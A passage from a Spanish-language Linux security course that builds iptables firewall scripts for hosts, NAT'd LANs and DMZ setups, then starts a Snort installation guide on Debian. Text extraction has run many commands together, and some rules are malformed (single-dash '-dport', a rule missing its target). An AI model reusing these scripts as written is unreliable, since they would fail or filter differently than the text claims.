Page 110: Seguridad

detenemos o que se pueda caer por un error de programación (esto es una pequeña mentira ya que ha tenido alguna vulnerabilidad que permite hacerle un DoS, pero nunca tendrá tanto peligro como las aplicaciones que escuchan en determinado puerto TCP). Iptables esta integrado con el kernel, es parte del sistema operativo. ¿Cómo se pone en marcha? Realmente lo que se hace es aplicar reglas. Para ello se ejecuta el comando iptables, con el que añadimos, borramos, o creamos reglas. Por ello un firewall de iptables no es sino un simple script de shell en el que se van ejecutando las reglas de firewall.

Entonces tenemos una máquina linux con soporte para iptables, tiene reglas aplicadas y empiezan a llegar/salir/pasar paquetes. Olvidemos cuantas tarjetas de red hay, que direcciones ip tiene la máquina y olvidemos si el paquete entra o sale. Las reglas de firewall están a nivel de kernel, y al kernel lo que le llega es un paquete y unicamente tiene que decidir que hacer con él. El kernel lo que hace es, dependiendo si el paquete es para la propia maquina o para otra maquina, consultar las reglas de firewall y decidir que hacer con el paquete según mande el firewall. Este es el camino que seguiría un paquete en el kernel:

Figura 5: cuando un paquete u otra comunicación llega al kernel con iptables se sigue este camino

Como se ve en el gráfico, básicamente se mira si el paquete esta destinado a la propia maquina o si va a otra. Para los paquetes (o datagramas, según el protocolo) que van a la propia maquina se aplican las reglas INPUT y OUTPUT, y para filtrar paquetes que van a otras redes o maquinas se aplican simplemente reglas FORWARD.

INPUT,OUTPUT y FORWARD son los tres tipos de reglas de filtrado. Pero antes de aplicar esas reglas es posible aplicar reglas de NAT: estas se usan para hacer redirecciones de puertos o cambios en las IPs de origen y destino. Incluso antes de las reglas de NAT se pueden meter reglas de tipo MANGLE, destinadas a modificar los paquetes; son reglas poco conocidas y es probable que no las tengamos que utilizar.

Por lo tanto tenemos tres tipos de reglas en iptables:

• MANGLE

• NAT: reglas PREROUTING, POSTROUTING

• FILTER: reglas INPUT, OUTPUT, FORWARD.

- 110 -

Page 111: Seguridad

Creando un firewall con iptables

Proteger la propia máquinaMuy bien, tenemos una máquina linux conectada a internet y queremos protegerla con su propio firewall. Lo único que tenemos que hacer es crear un script de shell en el que se van aplicando las siguientes reglas:

#!/bin/sh

echo -n Aplicando Reglas de Firewall...

iptables -Fiptables -Xiptables -Ziptables -t nat -F

iptables -P INPUT ACCEPTiptables -P OUTPUT ACCEPTiptables -P FORWARD ACCEPTiptables -t nat -P PREROUTING ACCEPTiptables -t nat -P POSTROUTING ACCEPT

/sbin/iptables -A INPUT -i lo -j ACCEPT

iptables -A INPUT -s 195.65.34.234 -j ACCEPTiptables -A INPUT -s 231.45.134.23 -p tcp --dport 3306 -j ACCEPTiptables -A INPUT -s 80.37.45.194 -p tcp -dport 20:21 -j ACCEPTiptables -A INPUT -p tcp --dport 80 -j ACCEPT

iptables -A INPUT -p tcp --dport 20:21 -j DROPiptables -A INPUT -p tcp --dport 3306 -j DROPiptables -A INPUT -p tcp --dport 22 -j DROPiptables -A INPUT -p tcp --dport 10000 -j DROP

echo " OK . Verifique que lo que se aplica con: iptables -L -n"

Como pueden apreciar es un script de los más simples, con unas pocas reglas con las que cerramos puertos al público a los que no tienen porque tener acceso, salvo el puerto 80. Pero cualquiera con algo de ojo se habrá dado cuenta de que ni se filtran los protocolos UDP ni el ICMP. Como les comentaba anteriormente, este tipo de firewall es necesario hacer un netstat para ver que puertos están abiertos, y salvo que un rootkit nos haya modificado los binarios, netstat nos dará la información precisa que necesitamos. Hay gente que prefiere realizarce un nmap así mismos.

Dependiendo de cómo lo ejecutemos quizá no nos muestre todos los puertos, ya que suele mirar los bien conocidos.

Imaginemos que hemos dado un repaso a nuestro sistema, y ahora tenemos mejor identificados los puertos tcp y udp abiertos. Pero por si acaso al final del script cerraremos el rango de puertos del 1 al 1024, los reservados tanto para tcp como udp.

- 111 -

Page 112: Seguridad

#!/bin/sh

echo -n Aplicando Reglas de Firewall...

iptables -Fiptables -Xiptables -Ziptables -t nat -F

iptables -P INPUT ACCEPTiptables -P OUTPUT ACCEPTiptables -P FORWARD ACCEPTiptables -t nat -P PREROUTING ACCEPTiptables -t nat -P POSTROUTING ACCEPT

/sbin/iptables -A INPUT -i lo -j ACCEPT

iptables -A INPUT -s 195.65.34.234 -j ACCEPTiptables -A INPUT -s 231.45.134.23 -p tcp --dport 3306 -j ACCEPTiptables -A INPUT -s 80.37.45.194 -p tcp -dport 20:21 -j ACCEPTiptables -A INPUT -p tcp --dport 80 -j ACCEPT

iptables -A INPUT -p tcp --dport 1:1024 -j DROPiptables -A INPUT -p udp --dport 1:1024 -j DROP

iptables -A INPUT -p tcp --dport 3306 -j DROPiptables -A INPUT -p tcp --dport 10000 -j DROPiptables -A INPUT -p udp --dport 10000 -j DROP

echo " OK . Verifique que lo que se aplica con: iptables -L -n"

¿Mucho más facil, no? Ahora basta con hacer copy-paste de estas reglas y aplicarlas y ajustarlas a su sistema. Si se tiene miedo de perder el control de una máquina remota, pruebe el script en una máquina local y asegúrese de que funciona como queremos.

Versión con DROP por defectoAhora que ya hicimos nuestro primer firewall queremos que nuestra maquina sea 100% segura y que solo tenga abierto un puerto imprescindible para dar determinado servicio. Con DROP por defecto se protege la maquina perfectamente, aunque hay que añadir algunas reglas para que la propia máquina sea capaz de salir a internet.

#!/bin/sh

echo -n Aplicando Reglas de Firewall...

iptables -Fiptables -Xiptables -Ziptables -t nat -F

iptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP

/sbin/iptables -A INPUT -i lo -j ACCEPT

- 112 -

Page 113: Seguridad

/sbin/iptables -A OUTPUT -o lo -j ACCEPT

iptables -A INPUT -s 195.65.34.234 -j ACCEPTiptables -A OUTPUT -d 195.65.34.234 -j ACCEPT

/sbin/iptables -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT/sbin/iptables -A OUTPUT -p tcp -m tcp --sport 80 -m state --state RELATED,ESTABLISHED -j ACCEPT

/sbin/iptables -A INPUT -p tcp -m tcp --sport 80 -m state --state RELATED,ESTABLISHED -j ACCEPT/sbin/iptables -A OUTPUT -p tcp -m tcp --dport 80 -j ACCEPT

/sbin/iptables -A INPUT -p tcp -m tcp --sport 443 -m state --state RELATED,ESTABLISHED -j ACCEPT/sbin/iptables -A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT

/sbin/iptables -A INPUT -p tcp -m tcp --sport 20:21 -m state --state RELATED,ESTABLISHED -j ACCEPT/sbin/iptables -A OUTPUT -p tcp -m tcp --dport 20:21 -j ACCEPT

/sbin/iptables -A INPUT -p tcp -m tcp --sport 1024:65535 --dport 1024:65535 -m state --state ESTABLISHED -j ACCEPT/sbin/iptables -A OUTPUT -p tcp -m tcp --dport 1024:65535 -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT

/sbin/iptables -A INPUT -s 211.95.64.39 -p udp -m udp --sport 53 -j ACCEPT/sbin/iptables -A OUTPUT -d 211.95.64.39 -p udp -m udp --dport 53 -j ACCEPT

/sbin/iptables -A INPUT -s 211.95.79.109 -p udp -m udp --sport 53 -j ACCEPT/sbin/iptables -A OUTPUT -d 211.95.79.109 -p udp -m udp --dport 53 -j ACCEPT

/sbin/iptables -A INPUT -s 130.206.3.166 -p udp -m udp --dport 123 -j ACCEPT/sbin/iptables -A OUTPUT -d 130.206.3.166 -p udp -m udp --sport 123 -j ACCEPT

/sbin/iptables -A INPUT -p tcp -m tcp --dport 1:1024 -j DROP/sbin/iptables -A INPUT -p udp -m udp --dport 1:1024 -j DROP/sbin/iptables -A INPUT -p tcp -m tcp --dport 1723 -j DROP/sbin/iptables -A INPUT -p tcp -m tcp --dport 3306 -j DROP/sbin/iptables -A INPUT -p tcp -m tcp --dport 5432 -j DROP

echo " OK . Verifique que lo que se aplica con: iptables -L -n"

- 113 -

Page 114: Seguridad

Firewall de una LAN con salida a internetAhora vamos a ver una configuración de firewall iptables para el típico caso de red local que necesita salida a internet.

Figura 6: esquema de firewall típico entre red local e internet

¿Qué es lo que hace falta? Obviamente, una regla que haga NAT hacia fuera (enmascaramiento en iptables), con lo que se haría dos veces NAT en el firewall y en el router. Entre el router y el firewall lo normal es que haya una red privada (192.168.1.1 y 192.168.1.2 por ejemplo), aunque dependiendo de las necesidades puede que los dos tengan IP pública. El router se supone que hace un NAT completo hacia dentro, o sea que desde el exterior no se llega al router si no que de forma transparente se "choca" contra el firewall. Lo normal en este tipo de firewalls es poner la política por defecto de FORWARD en denegar (DROP), pero eso lo veremos más adelante.

#!/bin/sh

echo -n Aplicando Reglas de Firewall...

iptables -Fiptables -Xiptables -Ziptables -t nat -F

iptables -P INPUT ACCEPTiptables -P OUTPUT ACCEPTiptables -P FORWARD ACCEPTiptables -t nat -P PREROUTING ACCEPTiptables -t nat -P POSTROUTING ACCEPT

/sbin/iptables -A INPUT -i lo -j ACCEPT

iptables -A INPUT -s 192.168.10.0/24 -i eth1 -j ACCEPT

iptables -t nat -A POSTROUTING -s 192.168.10.0/24 -o eth0 -j MASQUERADE

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -A INPUT -s 0.0.0.0/0 -p tcp -dport 1:1024 -j DROPiptables -A INPUT -s 0.0.0.0/0 -p udp -dport 1:1024 -j DROP

iptables -A INPUT -s 0.0.0.0/0 -p tcp -dport 10000 -j DROP

echo " OK . Verifique que lo que se aplica con: iptables -L -n"

Pero como nuestro trabajo es asegurar la red y optimizar los recursos de ella, vamos a asegurarnos de que solamente se pueda navegar por internet, denegando el acceso a

- 114 -

Page 115: Seguridad

servicios como Amule o cualquier otro P2P.

#!/bin/sh

echo -n Aplicando Reglas de Firewall...

iptables -Fiptables -Xiptables -Ziptables -t nat -F

iptables -P INPUT ACCEPTiptables -P OUTPUT ACCEPTiptables -P FORWARD ACCEPTiptables -t nat -P PREROUTING ACCEPTiptables -t nat -P POSTROUTING ACCEPT

/sbin/iptables -A INPUT -i lo -j ACCEPT

iptables -A INPUT -s 192.168.10.0/24 -i eth1 -j ACCEPT

iptables -A FORWARD -s 192.168.10.0/24 -i eth1 -p tcp --dport 80 -j ACCEPTiptables -A FORWARD -s 192.168.10.0/24 -i eth1 -p tcp --dport 443 -j ACCEPT

iptables -A FORWARD -s 192.168.10.0/24 -i eth1 -p tcp --dport 53 -j ACCEPTiptables -A FORWARD -s 192.168.10.0/24 -i eth1 -p udp --dport 53 -j ACCEPT

iptables -A FORWARD -s 192.168.10.0/24 -i eth1 -j DROP

iptables -t nat -A POSTROUTING -s 192.168.10.0/24 -o eth0 -j MASQUERADE

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -A INPUT -s 0.0.0.0/0 -p tcp -dport 1:1024 -j DROPiptables -A INPUT -s 0.0.0.0/0 -p udp -dport 1:1024 -j DROP

iptables -A INPUT -s 0.0.0.0/0 -p tcp -dport 10000 -j DROP

echo " OK . Verifique que lo que se aplica con: iptables -L -n"

Ahora para poder terminar de aprender y a fin de poder practicar les dejo algunos ejemplos que seguramente podrás aplicar y modificar facilmente para cualquier proposito.

Supongamos que este firewall tiene alguna función adicional: es un servidor proxy y además es un servidor de correo. Darle funcionalidades de este tipo a un firewall no es recomendable, porque si no se protegen bien esos puertos o si no está actualizado el software pueden entrar en el firewall a base de exploits comprometiendo TODA la red. De todas formas muchas empresas no se pueden permitir o no quieren tener una máquina para cada cosa.

Supongamos también que la empresa tiene representantes comerciales y que se conectan a internet desde sus notebooks o smartphones desde una ip dinámica. Ademas, el jefe de la empresa quiere acceder a la red local desde casa con una conexión ADSL. Ahora en el firewall deberiamos tener instalado un servidor SMTP, POP3, y una VPN.

- 115 -

Page 116: Seguridad

#!/bin/sh

echo -n Aplicando Reglas de Firewall...

iptables -Fiptables -Xiptables -Ziptables -t nat -F

iptables -P INPUT ACCEPTiptables -P OUTPUT ACCEPTiptables -P FORWARD ACCEPTiptables -t nat -P PREROUTING ACCEPTiptables -t nat -P POSTROUTING ACCEPT

iptables -A INPUT -i lo -j ACCEPT

iptables -A INPUT -s 192.168.10.0/24 -i eth1 -j ACCEPT

iptables -A INPUT -s 0.0.0.0/0 -p tcp --dport 25 -j ACCEPTiptables -A INPUT -s 0.0.0.0/0 -p tcp --dport 110 -j ACCEPTiptables -A INPUT -s 211.45.176.24 -p tcp --dport 1723 -j ACCEPTiptables -A FORWARD -s 192.168.10.0/24 -i eth1 -p tcp --dport 80 -j ACCEPTiptables -A FORWARD -s 192.168.10.0/24 -i eth1 -p tcp --dport 443 -j ACCEPTiptables -A FORWARD -s 192.168.10.0/24 -i eth1 -p tcp --dport 53 -j ACCEPTiptables -A FORWARD -s 192.168.10.0/24 -i eth1 -p udp --dport 53 -j ACCEPT

iptables -A FORWARD -s 192.168.10.0/24 -i eth1 -j DROP

iptables -t nat -A POSTROUTING -s 192.168.10.0/24 -o eth0 -j MASQUERADE

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -A INPUT -s 0.0.0.0/0 -i eth0 -p tcp -dport 1:1024 -j DROPiptables -A INPUT -s 0.0.0.0/0 -i eth0 -p udp -dport 1:1024 -j DROP

iptables -A INPUT -s 0.0.0.0/0 -i eth0 -p tcp --dport 10000 -j DROP

iptables -A INPUT -s 0.0.0.0/0 -i eth0 -p tcp --dport 1723 -j DROP

echo " OK . Verifique que lo que se aplica con: iptables -L -n"

Ahora queremos compartir algún servicio pero de un servidor que tenemos dentro de la red local, por ejemplo el IIS de un servidor Windows 2000, y además permitir la gestión remota por Terminal Server para esta máquina para una empresa externa. En este caso lo que hay que hacer es un redirección de puerto. Veamos la configuración con las nuevas reglas de DNAT:

#!/bin/sh

echo -n Aplicando Reglas de Firewall...

iptables -Fiptables -Xiptables -Ziptables -t nat -F

- 116 -

Page 117: Seguridad

iptables -P INPUT ACCEPTiptables -P OUTPUT ACCEPTiptables -P FORWARD ACCEPTiptables -t nat -P PREROUTING ACCEPTiptables -t nat -P POSTROUTING ACCEPT

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j DNAT --to 192.168.10.12:80

iptables -t nat -A PREROUTING -s 221.23.124.181 -i eth0 -p tcp --dport 3389 -j DNAT --to 192.168.10.12:3389

iptables -A INPUT -i lo -j ACCEPTiptables -A INPUT -s 192.168.10.0/24 -i eth1 -j ACCEPT

iptables -A INPUT -s 0.0.0.0/0 -p tcp --dport 25 -j ACCEPTiptables -A INPUT -s 0.0.0.0/0 -p tcp --dport 110 -j ACCEPTiptables -A INPUT -s 211.45.176.24 -p tcp --dport 1723 -j ACCEPT

iptables -A FORWARD -s 192.168.10.0/24 -i eth1 -p tcp --dport 80 -j ACCEPTiptables -A FORWARD -s 192.168.10.0/24 -i eth1 -p tcp --dport 443 -j ACCEPT

iptables -A FORWARD -s 192.168.10.0/24 -i eth1 -p tcp --dport 53 -j ACCEPTiptables -A FORWARD -s 192.168.10.0/24 -i eth1 -p udp --dport 53 -j ACCEPT

iptables -A FORWARD -s 192.168.10.0/24 -i eth1 -j DROP

iptables -t nat -A POSTROUTING -s 192.168.10.0/24 -o eth0 -j MASQUERADE

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -A INPUT -s 0.0.0.0/0 -i eth0 -p tcp -dport 1:1024 -j DROPiptables -A INPUT -s 0.0.0.0/0 -i eth0 -p udp -dport 1:1024 -j DROP

iptables -A INPUT -s 0.0.0.0/0 -i eth0 -p tcp --dport 10000 -j DROP

iptables -A INPUT -s 0.0.0.0/0 -i eth0 -p tcp --dport 1723 -j DROP

echo " OK . Verifique que lo que se aplica con: iptables -L -n"

Bueno ya tenemos montada la red, pero conviene insistir en que esta última configuración, con las redirecciones y los servicios de correo funcionando en el firewall es bastante insegura. ¿Qué ocurre si atacan al servidor IIS de la red local? El firewall no serviria de gran cosa, lo poco que podría hacer una vez se ha entrado en la red local es evitar escaneos hacia el exterior desde la máquina atacada, aunque para ello el firewall deberia tener una buena configuración con denegación por defecto.

Firewall de una LAN con salida a internet con DMZImaginemos que tenemos una red parecida a la anterior pero ahora hacemos las cosas bien y colocamos ese servidor IIS en una DMZ:

- 117 -

Page 118: Seguridad

Figura 7: esquema de firewall entre red local e internet con zona DMZ para servidores expuestos

En este tipo de firewall hay que permitir:

- Acceso de la red local a internet.

- Acceso público al puerto tcp/80 y tcp/443 del servidor de la DMZ

- Acceso del servidor de la DMZ a una BBDD de la LAN

- Obviamente bloquear el resto de acceso de la DMZ hacia la LAN.

¿Qué tipo de reglas son las que hay que usar para filtrar el tráfico entre la DMZ y la LAN? Solo pueden ser las FORWARD, ya que estamos filtrando entre distintas redes, no son paquetes destinados al propio firewall.

#!/bin/sh

echo -n Aplicando Reglas de Firewall...

iptables -Fiptables -Xiptables -Ziptables -t nat -F

iptables -P INPUT ACCEPTiptables -P OUTPUT ACCEPTiptables -P FORWARD ACCEPTiptables -t nat -P PREROUTING ACCEPTiptables -t nat -P POSTROUTING ACCEPT

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j DNAT --to 192.168.3.2:80iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j DNAT --to 192.168.3.2:443

/sbin/iptables -A INPUT -i lo -j ACCEPTiptables -A INPUT -s 192.168.10.0/24 -i eth1 -j ACCEPT

iptables -t nat -A POSTROUTING -s 192.168.10.0/24 -o eth0 -j MASQUERADEiptables -t nat -A POSTROUTING -s 192.168.3.0/24 -o eth0 -j MASQUERADE

echo 1 > /proc/sys/net/ipv4/ip_forward

- 118 -

Page 119: Seguridad

iptables -A FORWARD -s 192.168.3.2 -d 192.168.10.5 -p tcp --dport 5432 -j ACCEPTiptables -A FORWARD -s 192.168.10.5 -d 192.168.3.2 -p tcp --sport 5432 -j ACCEPT

iptables -A FORWARD -s 192.168.10.0/24 -d 192.168.3.2 -p tcp --sport 1024:65535 --dport 3389 -j ACCEPTiptables -A FORWARD -s 192.168.3.2 -d 192.168.10.0/24 -p tcp --sport 3389 --dport 1024:65535 -j ACCEPT

iptables -A FORWARD -s 192.168.3.0/24 -d 192.168.10.0/24 -j DROP

iptables -A INPUT -s 192.168.3.0/24 -i eth2 -j DROP

iptables -A INPUT -s 0.0.0.0/0 -p tcp -dport 1:1024 -j DROPiptables -A INPUT -s 0.0.0.0/0 -p udp -dport 1:1024 -j DROP

iptables -A INPUT -s 0.0.0.0/0 -p tcp -dport 10000 -j DROP

echo " OK . Verifique que lo que se aplica con: iptables -L -n"

Vamos a ver: si las máquinas de la DMZ tienen una ip pública hay que tener muchísimo cuidado de no permitir el FORWARD por defecto. Si en la DMZ hay ip pública NO ES NECESARIO HACER REDIRECCIONES de puerto, sino que basta con enrutar los paquetes para llegar hasta la DMZ. Este tipo de necesidades surgen cuando por ejemplo tenemos dos máquinas con un servidor web (un apache y un IIS); ¿A cuál de las dos le redirigimos el puerto 80? No hay manera de saberlo, por eso se deben asignar IPs públicas o en su defecto usar puertos distintos.

Por tanto hay que proteger convenientemente toda la DMZ. Tampoco haría falta enmascarar la salida hacia el exterior de la DMZ, si tiene una ip pública ya tiene una pata puesta en internet; obviamente hay que decirle al router como llegar hasta esa ip pública. Así podría ser esta red:

Figura 8: esquema de firewall entre red local e internet con zona DMZ para servidores expuestos usando IPs públicas

- 119 -

Page 120: Seguridad

#!/bin/sh

echo -n Aplicando Reglas de Firewall...

iptables -Fiptables -Xiptables -Ziptables -t nat -F

iptables -P INPUT ACCEPTiptables -P OUTPUT ACCEPTiptables -P FORWARD ACCEPTiptables -t nat -P PREROUTING ACCEPTiptables -t nat -P POSTROUTING ACCEPT

/sbin/iptables -A INPUT -i lo -j ACCEPT

iptables -A INPUT -s 192.168.10.0/24 -i eth1 -j ACCEPT

iptables -t nat -A POSTROUTING -s 192.168.10.0/24 -o eth0 -j MASQUERADE

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -A FORWARD -d 212.194.89.152 -p tcp -dport 80 -j ACCEPTiptables -A FORWARD -d 212.194.89.152 -p tcp -dport 443 -j ACCEPTiptables -A FORWARD -d 212.194.89.150/30 -j DROP

iptables -A FORWARD -s 212.194.89.152 -d 192.168.10.5 -p tcp --dport 5432 -j ACCEPTiptables -A FORWARD -s 192.168.10.5 -d 212.194.89.152 -p tcp --sport 5432 -j ACCEPT

iptables -A FORWARD -s 192.168.10.0/24 -d 212.194.89.152 -p tcp --sport 1024:65535 --dport 3389 -j ACCEPTiptables -A FORWARD -s 212.194.89.152 -d 192.168.10.0/24 -p tcp --sport 3389 --dport 1024:65535 -j ACCEPT

iptables -A FORWARD -s 212.194.89.152 -d 192.168.10.0/24 -j DROP

iptables -A INPUT -s 212.194.89.152 -i eth2 -j DROP

iptables -A INPUT -s 0.0.0.0/0 -p tcp -dport 1:1024 -j DROPiptables -A INPUT -s 0.0.0.0/0 -p udp -dport 1:1024 -j DROP

iptables -A INPUT -s 0.0.0.0/0 -p tcp -dport 10000 -j DROP

echo " OK . Verifique que lo que se aplica con: iptables -L -n"

Analicemos algunas de las reglas de este nuevo firewall:

Permitimos abrir el Terminal Server de la DMZ desde la LANiptables -A FORWARD -s 192.168.10.0/24 -d 212.194.89.152 -p tcp -sport 1024:65535 --dport 3389 -j ACCEPT

Hay que hacerlo en sentido y el otroiptables -A FORWARD -s 212.194.89.152 -d 192.168.10.0/24 -p tcp --sport

- 120 -

Page 121: Seguridad

3389 --dport 1024:65535 -j ACCEPT

Y obviamente cerramos el acceso de la DMZ a la LANiptables -A FORWARD -s 212.194.89.152 -d 192.168.10.0/24 -j DROP

¿Por qué hay que explicitar la abertura en uno y otro sentido?

Porque la tercera regla cierra todo lo que va de la DMZ a la red local. Para abrir el puerto 3389 de tcp es imprescindible que un paquete de ida sea capaz de llegar hasta la DMZ y que a su vez pueda volver a la LAN. Esto de tener que especificar la abertura en uno y otro sentido será el pan de cada día en un iptables con política DROP por defecto: mejor protección pero más trabajo.

¿Por qué se explicita el puerto de origen/destino 1024:65535 en la primera y segunda regla?

Imaginemos que un atacante logra acceso a la máquina de la DMZ. Si no especificamos el puerto de destino en esas dos reglas, el atacante puede abrir CUALQUIER puerto de la LAN siempre que pueda establecer como puerto origen suyo el tcp/3389, cosa fácil para un atacante que sepa algo de C o que tenga el programa pertinente a mano. De todas formas el atacante tendría que saber que existe ese tipo de reglas, si es listo probara con puertos de gestión o con puertos netbios. El problema es que se deja un vínculo con la LAN para administrarlo remotamente o para establecer relaciones de confianza y ahí es donde reside el peligro.

Firewall con política por defecto DROP¿Qué supone el hecho de establecer como política por defecto la denegación?

• Se debe explicitar cada conexión permitida en los dos sentidos

• Se debe conocer perfectamente qué debe estar abierto y qué no

• Es muchos más difícil de mantener y si se hace conviene hacerlo desde el principio

• No todo es más trabajo: también supone un firewall mucho más seguro

Es mucho más simple aplicar DROP por defecto cuando el firewall es en la propia máquina. Si recuerdan, al iniciar este modulo armabamos nuestro primer firewall. Ahora lo realizaremos de nuevo pero utilizando DROP.

#!/bin/sh

echo -n Aplicando Reglas de Firewall...

iptables -Fiptables -Xiptables -Z

- 121 -

Page 122: Seguridad

iptables -t nat -F

iptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP

iptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT

iptables -A INPUT -s 195.65.34.234 -j ACCEPTiptables -A OUTPUT -d 195.65.34.234 -j ACCEPT

iptables -A INPUT -s 231.45.134.23 -p tcp --dport 3306 -j ACCEPTiptables -A OUTPUT -d 231.45.134.23 -p tcp --sport 3306 -j ACCEPT

iptables -A INPUT -s 80.37.45.194 -p tcp --dport 20:21 -j ACCEPTiptables -A OUTPUT -d 80.37.45.194 -p tcp --sport 20:21 -j ACCEPT

iptables -A INPUT -p tcp --dport 80 -j ACCEPTiptables -A OUTPUT -p tcp --sport 80 -j ACCEPT

iptables -A INPUT -p tcp --dport 1:1024 iptables -A INPUT -p udp --dport 1:1024

iptables -A INPUT -p tcp --dport 3306 -j DROPiptables -A INPUT -p tcp --dport 10000 -j DROPiptables -A INPUT -p udp --dport 10000 -j DROP

echo " OK . Verifique que lo que se aplica con: iptables -L -n"

- 122 -

Page 123: Seguridad

Cómo depurar el funcionamiento del firewall

Programas útiles

IPTRAFSin duda alguna uno de los programas más prácticos para depurar el firewall es iptables, ya que con el podemos observar si la conexiones se establecen o no; es un programa de consola que es aconsejable controlar ya que muestra en tiempo real el tráfico que atraviesa nuestra máquina con todo lujo de detalles: origen/destino de ips y puertos, tráfico total o tráfico total según el interfaz de red, etc… Si vemos muchas conexiones simultaneas y nos perdemos, existe la posibilidad de aplicar filtros para captar solo aquello que nos interesa.

NMAPLa herramienta para escanear puertos por excelencia, rechace imitaciones. Es una herramienta de consola rápida, efectiva y con multitud de opciones. Podemos usarla desde máquinas ajenas a nuestra red para comprobar si realmente el firewall esta filtrando correctamente y en cierta manera para hacernos una idea de que "visión" pueden tener los hackers de nuestro sistema.

SHELLEn el propio script del firewall podemos añadir algunas opciones para descubrir fallos de sintaxis en las reglas. Claro, imaginemos que tenemos un firewall de 40 lineas y una de ellas falla cuando ejecutamos el script. ¿Cuál es? Es probable que el mensaje de error no aclare lo suficiente, por eso se puede añadir algo así al final de cada regla:

...iptables -A INPUT -s 195.55.234.2 -j ACCEPT && echo " regla-21 ok"iptables -A INPUT -s 213.62.89.145 -j ACCEPT && echo " regla-22 ok"...

Si la regla se ejecuta bien mostrará el mensajito de ok.

- 123 -

Page 124: Seguridad

TALLER DE SNORT

Snort es un potente IDS/IPS (Intrusion Detection System/Intrusion Prevention System) que se ha convertido en un estándar en el campo de la seguridad de sistemas informáticos. Es una herramienta que utiliza una filosofía muy similar a IPTables, ya que utiliza reglas sobre los paquetes que viajan en una red, sin embargo, dependiendo del modo de ejecución va un poco mas allá, permitiendo tomar decisiones sobre la información intercambiada y la detección de posibles ataques sobre peticiones que aunque aparentemente son legitimas, pueden encajar en algún patrón de ataque.

Antes de profundizar sobre los modos y configuración de Snort es necesario conocer el procedimiento de instalación, que en algunos casos no resulta tan sencillo como se espera, de hecho es un poco complejo principalmente por la cantidad de paquetes que se deben instalar, sin embargo se intenta indicar las pautas generales para conseguir instalar Snort en plataformas Debian (Lenny, Squeeze).

Proceso de instalación bajo sistemas basados en DebianEn primera instancia se deben insertar los siguientes repositorios para que APT pueda utilizar paquetes dependientes allí incluidos, para esto es necesario editar el archivo /etc/apt/sources.list (En este caso se trata de Debian Squeeze, si es Debian Lenny, cambiar este valor por “lenny”)

deb http://packages.dotdeb.org squeeze all deb-src http://packages.dotdeb.org squeeze all

Ahora con los repositorios indicados se puede instalar la clave GPG necesaria, para esto, ubicarse en el directorio /usr/src desde una consola, obtener la clave e instalarla

/usr/src# wget http://www.dotdeb.org/dotdeb.gpg/usr/src# cat dotdeb.gpg | apt-key add –

Por otro lado, para que Snort funcione correctamente es necesario tener por un lado, algunas librerías instaladas en la maquina y por otro lado algunas herramientas y software del que depende Snort para su instalación y posterior configuración, en concreto se requiere, Apache, MySQL, gcc, libssl, flex, entre otras. Se puede ejecutar el siguiente comando APT para cumplir con todas las dependencias e instalar el software necesario, (Para MySQL se solicitará la contraseña del usuario Root, será necesario ingresarla para que posteriormente se pueda ingresar en la base de datos)

/usr/src# apt-get update/usr/src# apt-get install apache2 libapache2-mod-php5 libwww-perl mysql-server mysql-common mysql-client php5-mysql libnet1 libnet1-dev libpcre3 libpcre3-dev autoconf libcrypt-ssleay-perl libmysqlclient-dev php5-gd php-pear libphp-adodb php5-cli libtool libssl-dev gcc-4.4 g++ automake gcc make flex bison apache2-doc ca-certificates vim

- 124 -

Page 125: Seguridad

Cabe anotar, que si ya se dispone de un servidor Apache configurado con MySQL y PHP los paquetes correspondientes a dicho software pueden ser omitidos.

Posteriormente se procede a instalar otras librerías que no se encuentran incluidas en los repositorios y que hay que instalar de forma manual, en concreto, dichas librerías son: DAQ, libpcap, libdnet.

En todos los casos el directorio donde se encontrará posicionada la consola será /usr/src/

DAQ

/usr/src# wget http://www.snort.org/dl/snort-current/daq-0.5.tar.gz/usr/src# tar -zxf daq-0.5.tar.gz && cd daq-0.5

NOTA IMPORTANTE:

En sistemas en Debian 6.0 (squeeze), es necesario parchear manualmente el archivo

vim /usr/src/daq-0.5/os-daq-modules/daq_pcap.c

Cambiando la linea:

context->buffer_size = strtol(entry->key, NULL, 10);

Por la linea:

context->buffer_size = strtol(entry->value, NULL, 10);

Continuamos el proceso de compilación de DAQ

/usr/src/daq-0.5# ./configure/usr/src/daq-0.5# make && make install/usr/src/daq-0.5# echo >> /etc/ld.so.conf /usr/lib && ldconfig

LIBPCAP/usr/src# wget http://www.tcpdump.org/release/libpcap-1.1.1.tar.gz/usr/src# tar -zxf libpcap-1.1.1.tar.gz && cd libpcap-1.1.1/usr/src/libpcap-1.1.1# ./configure --prefix=/usr -enable-shared/usr/src/libpcap-1.1.1# make && make install

LIBDNET/usr/src# wget http://libdnet.googlecode.com/files/libdnet-1.12.tgz/usr/src# tar -zxf libdnet-1.12.tgz && cd libdnet-1.12/usr/src/libdnet-1.12# ./configure ——prefix=/usr ——enable-shared/usr/src/libdnet-1.12# make && make install

Después de ejecutar todos los pasos anteriores se puede comenzar con la instalación de Snort en un sistema GNU/Linux basado en Debian, nuevamente desde el directorio /usr/src se ejecutan los siguientes comandos:

- 125 -

Page 126: Seguridad

/usr/src# wget http://www.snort.org/dl/snort-current/snort-2.9.0.5.tar.gz -O snort-2.9.0.5.tar.gz/usr/src# tar -zxf snort-2.9.0.5.tar.gz && cd snort-2.9.0.5/usr/src/snort-2.9.0.5#./configure --with-mysql --enable-dynamicplugin --enable-perfprofiling --enable-ipv6 --enable-zlib --enable-reload/usr/src/snort-2.9.0.5# make && make install

Con los pasos anteriores se ha instalado correctamente Snort en el sistema, ahora se debe proceder a configurar el servicio para que pueda ser ejecutado fácilmente, para esto se ejecutan los siguientes comandos desde consola

